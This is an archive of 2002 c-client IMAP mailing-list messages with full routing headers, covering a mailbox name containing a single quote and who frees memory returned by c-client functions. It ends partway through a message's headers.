[140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KeBrw038260 for ; Fri, 6 Dec 2002 12:40:11 -0800 Received: FROM mxu7.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Dec 06 12:40:10 2002 -0800 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB6Ke9Q5024953 for ; Fri, 6 Dec 2002 12:40:09 -0800 Received: from redhook.bynari.net ([192.168.3.111] helo=redhook ident=trilluser) by ts2.bynari.net with smtp (Exim 3.36 #1) id 18KPxs-0007V4-00 for c-client@u.washington.edu; Fri, 06 Dec 2002 15:24:52 -0600 Message-Id: <00b501c29d67$ac4f0f90$6f03a8c0@redhook> Date: Fri, 6 Dec 2002 14:39:51 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: Subject: How to create a folder with single quote ' (0x27) References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How to create a folder with single quote ' (0x27)? I have encoded a folder name according to RFC 2060. The folder example is "Boîte d'Envoi" which get encoded to "Bo&AO4-te d'Envoi" but the Cyrus IMAP server reject the a "Invalid name". Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Dec 6 12:53:45 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 6 Dec 2002 12:53:45 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6Krjqt017038 for ; Fri, 6 Dec 2002 12:53:45 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Dec 06 12:53:44 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB6KriS9001914 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 6 Dec 2002 12:53:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KrGaQ028064; Fri, 6 Dec 2002 12:53:16 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KpGrw041170 for ; Fri, 6 Dec 2002 12:51:16 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Dec 06 12:51:15 2002 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB6KpF8J009496 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 6 Dec 2002 12:51:15 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gB6KpF5C025588 for ; Fri, 6 Dec 2002 12:51:15 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Fri Dec 06 12:51:14 2002 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gB6KpEmZ009294 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 6 Dec 2002 12:51:14 -0800 Message-Id: Date: Fri, 6 Dec 2002 12:51:14 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: How to create a folder with single quote ' (0x27) In-Reply-To: <00b501c29d67$ac4f0f90$6f03a8c0@redhook> References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 6 Dec 2002, Shawn Walker wrote: > How to create a folder with single quote ' (0x27)? I have encoded a folder > name according to RFC 2060. The folder example is "Bo$Bn(Bte d'Envoi" which get > encoded to "Bo&AO4-te d'Envoi" but the Cyrus IMAP server reject the a > "Invalid name". That is a valid mailbox name in IMAP, and UW imapd will create a mailbox with that name. If Cyrus does not permit it, that is probably a restriction in Cyrus. A server is permitted to reject the creation of any mailbox name for any reason that it deems fit, including not liking single quotes. Since you asked the c-client mailing list, I assume that you are writing an IMAP client application using the c-client library and communicating to a Cyrus server. To make absolutely certain that my diagnosis is correct, you should try your program with a UW server. If you also have a problem with the UW server and that name, perhaps there is a bug in your mail_create() call. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:13:53 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:13:53 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIDqqt027737 for ; Tue, 10 Dec 2002 10:13:52 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 10 10:13:48 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIDlS9026897 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:13:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAICjS1023650; Tue, 10 Dec 2002 10:12:45 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIA2rw020378 for ; Tue, 10 Dec 2002 10:10:05 -0800 Received: FROM mxu7.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 10:10:02 2002 -0800 Received: from www.unicite.fr.netcentrex.net ([62.161.167.194]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAI9sQ5007747 for ; Tue, 10 Dec 2002 10:09:59 -0800 Received: from droopy (droopy.unicite.fr.netcentrex.net [213.56.166.185]) by www.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id YQYAHPJA; Tue, 10 Dec 2002 19:15:47 +0100 Message-Id: <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> Date: Tue, 10 Dec 2002 19:12:15 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: Subject: c-client IMAP API and memory References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Uwash-Spam: Gauge=II, Probability=2%, Report="REFERENCES, SPAM_PHRASE_01_02, USER_AGENT_OE, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_OUTLOOK_IN_MAILER, __HAS_X_MAILER, __HAS_X_PRIORITY" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm a new user of the c-client API and I need help to manage memory leaks on my application. I use for example the mail_fetchbody_full function which return a (char *) data. I want to know if I have to free this pointed memory or not ? It's not the only one function for which i don't know who free the memory. Where can i find help about that point Does someone can help me ? Thank's Guyom -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:32:55 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:32:54 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIWsqt028558 for ; Tue, 10 Dec 2002 10:32:54 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 10 10:32:53 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIWrS9027493 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:32:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIV1S1023378; Tue, 10 Dec 2002 10:31:01 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIT6rw034224 for ; Tue, 10 Dec 2002 10:29:06 -0800 Received: FROM mxu5.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 10 10:29:02 2002 -0800 Received: from taos.pintnight.com (adsl-66-140-57-102.dsl.rcsntx.swbell.net [66.140.57.102]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIT1WH016991 for ; Tue, 10 Dec 2002 10:29:01 -0800 Received: from ravms by taos.pintnight.com with mail-ok (Exim 3.36 #3) id 18LpHa-0004Xe-00; Tue, 10 Dec 2002 18:39:02 +0000 Received: from redhook ([192.168.1.4] helo=bass ident=trilluser) by taos.pintnight.com with esmtp (Exim 3.36 #3) id 18LpHa-0004XY-00; Tue, 10 Dec 2002 18:39:02 +0000 Message-Id: <200212101228580077.2C45A2B8@192.168.1.2> Date: Tue, 10 Dec 2002 12:28:58 -0600 Reply-To: swalker@bynari.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Guillaume Vaillant" , c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> Content-Type: text/plain; charset="us-ascii" X-Envelope-To: gvaillant@fr.netcentrex.net, c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, You need to run the garbage collector to get the cclient to free the memory. To do the following code after you call mail_fetchbody_full(). // Run the garbage collection to free up memory in cclient mail_parameters(MailStream, SET_GETS, nil); mail_gc(MailStream, GC_TEXTS); On 12/10/2002 at 7:12 PM Guillaume Vaillant wrote: >Hello, >I'm a new user of the c-client API and I need help to manage memory leaks >on >my application. >I use for example the mail_fetchbody_full function which return a (char *) >data. >I want to know if I have to free this pointed memory or not ? > >It's not the only one function for which i don't know who free the memory. >Where can i find help about that point >Does someone can help me ? > >Thank's >Guyom > >-- >------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html >------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:44:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:44:32 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIiVqt029000 for ; Tue, 10 Dec 2002 10:44:32 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 10:44:30 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIiTS9027853 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:44:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIgpHH030912; Tue, 10 Dec 2002 10:42:51 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIeorw042972 for ; Tue, 10 Dec 2002 10:40:50 -0800 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 10:40:42 2002 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIegEj015586 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Dec 2002 10:40:42 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIeg9r002644 for ; Tue, 10 Dec 2002 10:40:42 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 10 10:40:37 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIebmZ026860 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Dec 2002 10:40:37 -0800 Message-Id: Date: Tue, 10 Dec 2002 10:38:36 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guillaume Vaillant Cc: c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Dec 2002, Guillaume Vaillant wrote: > I use for example the mail_fetchbody_full function which return a (char *) > data. > I want to know if I have to free this pointed memory or not ? You do not need to free any memory returned by any mail_???() function; and in fact you must not free such memory. The only memory that you ever need to free in c-client is memory from certain calls that are documented to create memory, most notably cpystr(), rfc822_binary(), rfc822_base64(), rfc822_8bit(), and rfc822_qprint(). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:46:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:46:32 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIkWqt029048 for ; Tue, 10 Dec 2002 10:46:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 10 10:46:32 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIkV0B015285 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:46:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIiZaQ027978; Tue, 10 Dec 2002 10:44:35 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIgcrw042776 for ; Tue, 10 Dec 2002 10:42:38 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 10 10:42:32 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIgW8J011946 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Dec 2002 10:42:32 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIgWEC001500 for ; Tue, 10 Dec 2002 10:42:32 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Dec 10 10:42:28 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIgRmZ026987 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Dec 2002 10:42:27 -0800 Message-Id: Date: Tue, 10 Dec 2002 10:40:27 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: Guillaume Vaillant , c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: <200212101228580077.2C45A2B8@192.168.1.2> References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Dec 2002, Shawn Walker wrote: > You need to run the garbage collector to get the cclient to free the > memory. To do the following code after you call mail_fetchbody_full(). > mail_parameters(MailStream, SET_GETS, nil); > mail_gc(MailStream, GC_TEXTS); This is an extremely BAD idea, unless of course you like writing applications which are slow and waste network bandwidth. c-client caches for a reason. The only justification for using mail_gc() is if you are writing a program for DOS, 16-bit Windows (Windows 3.x), or old Macintosh systems. It should never be used on modern systems except in extreme circumstances; and certainly should not be used routinely. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:49:14 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:49:14 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAInDqt029258 for ; Tue, 10 Dec 2002 10:49:13 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 10 10:49:13 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAInCS9028029 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:49:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIlWaQ029528; Tue, 10 Dec 2002 10:47:32 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIjirw033098 for ; Tue, 10 Dec 2002 10:45:44 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 10 10:45:44 2002 -0800 Received: from taos.pintnight.com (adsl-66-140-57-102.dsl.rcsntx.swbell.net [66.140.57.102]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIjhEi017463 for ; Tue, 10 Dec 2002 10:45:44 -0800 Received: from ravms by taos.pintnight.com with mail-ok (Exim 3.36 #3) id 18LpXp-0004Xu-00; Tue, 10 Dec 2002 18:55:49 +0000 Received: from redhook ([192.168.1.4] helo=bass ident=trilluser) by taos.pintnight.com with esmtp (Exim 3.36 #3) id 18LpXp-0004Xo-00; Tue, 10 Dec 2002 18:55:49 +0000 Message-Id: <200212101245440474.2C54FDF5@192.168.1.2> Date: Tue, 10 Dec 2002 12:45:44 -0600 Reply-To: swalker@bynari.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: "Mark Crispin" Cc: "Guillaume Vaillant" , c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> Content-Type: text/plain; charset="us-ascii" X-Envelope-To: MRC@CAC.Washington.EDU, gvaillant@fr.netcentrex.net, c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 12/10/2002 at 10:40 AM Mark Crispin wrote: >On Tue, 10 Dec 2002, Shawn Walker wrote: >> You need to run the garbage collector to get the cclient to free the >> memory. To do the following code after you call mail_fetchbody_full(). >> mail_parameters(MailStream, SET_GETS, nil); >> mail_gc(MailStream, GC_TEXTS); > >This is an extremely BAD idea, unless of course you like writing >applications which are slow and waste network bandwidth. > >c-client caches for a reason. The only justification for using mail_gc() >is if you are writing a program for DOS, 16-bit Windows (Windows 3.x), or >old Macintosh systems. It should never be used on modern systems except >in extreme circumstances; and certainly should not be used routinely. > >-- Mark -- > Then how does one get cclient to free the memory after it retrieve a VERY large message from the server? I debugged into cclient saw how the message is being stored in memory and how to free it and the only way was to run the garbage collector. Shawn From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:53:44 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:53:44 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIriqt029520 for ; Tue, 10 Dec 2002 10:53:44 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 10 10:53:43 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIrg0B015557 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:53:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIpoS1018008; Tue, 10 Dec 2002 10:51:50 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIo1rw042984 for ; Tue, 10 Dec 2002 10:50:01 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Dec 10 10:50:00 2002 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIo08J015749 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Dec 2002 10:50:00 -0800 Received: from mailscan-out2.cac.washington.edu (mailscan-out2.cac.washington.edu [140.142.33.17]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIo0pB006362 for ; Tue, 10 Dec 2002 10:50:00 -0800 Received: FROM smtp.washington.edu BY mailscan-out2.cac.washington.edu ; Tue Dec 10 10:49:53 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAInrmZ027524 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Dec 2002 10:49:53 -0800 Message-Id: Date: Tue, 10 Dec 2002 10:47:53 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: Guillaume Vaillant , c-client@u.washington.edu Subject: Re: c-client IMAP API and memory In-Reply-To: <200212101245440474.2C54FDF5@192.168.1.2> References: <042901c27ea7$d983ffe0$b9a638d5@unicite.fr.netcentrex.net> <23e201c2a077$ab141e50$b9a638d5@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Dec 2002, Shawn Walker wrote: > Then how does one get cclient to free the memory after it retrieve a VERY > large message from the server? I debugged into cclient saw how the message > is being stored in memory and how to free it and the only way was to run > the garbage collector. What do you mean by "VERY large"? Whenever you run the garbage collector, you destroy the entire cache, which means that c-client is forced to re-fetch any data that it needs again. Unless you mean at least "tens of megabytes" by "VERY large", you are causing more harm than good by doing so. And even if it is that big, what if the user references it again? Note that when you expunge a message, any cache associated with that message is freed. Memory is cheap. Use it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Dec 10 10:59:20 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Dec 2002 10:59:20 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIxKqt029804 for ; Tue, 10 Dec 2002 10:59:20 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 10 10:59:19 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAIx9S9028496 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Dec 2002 10:59:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIvwg2093382; Tue, 10 Dec 2002 10:57:59 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gBAIu0rw034186 for ; Tue, 10 Dec 2002 10:56:00 -0800 Received: FROM mxu7.u.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 10 10:56:00 2002 -0800 Received: from taos.pintnight.com (adsl-66-140-57-102.dsl.rcsntx.swbell.net [66.140.57.102]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gBAItwQ5019342 for ; Tue, 10 Dec 2002 10:55:58 -0800 Received: from ravms by taos.pintnight.com with mail-ok (Exim 3.36 #3) id 18Lphj-0004Y4-00; Tue, 10 Dec 2002 19:06:03 +0000 Received: from redhook ([192.168.1.4] helo=bass ident=trilluser) by taos.pintnight.com with esmtp (Exim 3.36 #3) id 18Lphj-0004Xy-00; Tue, 10 Dec 2002 19:06:03 +0000 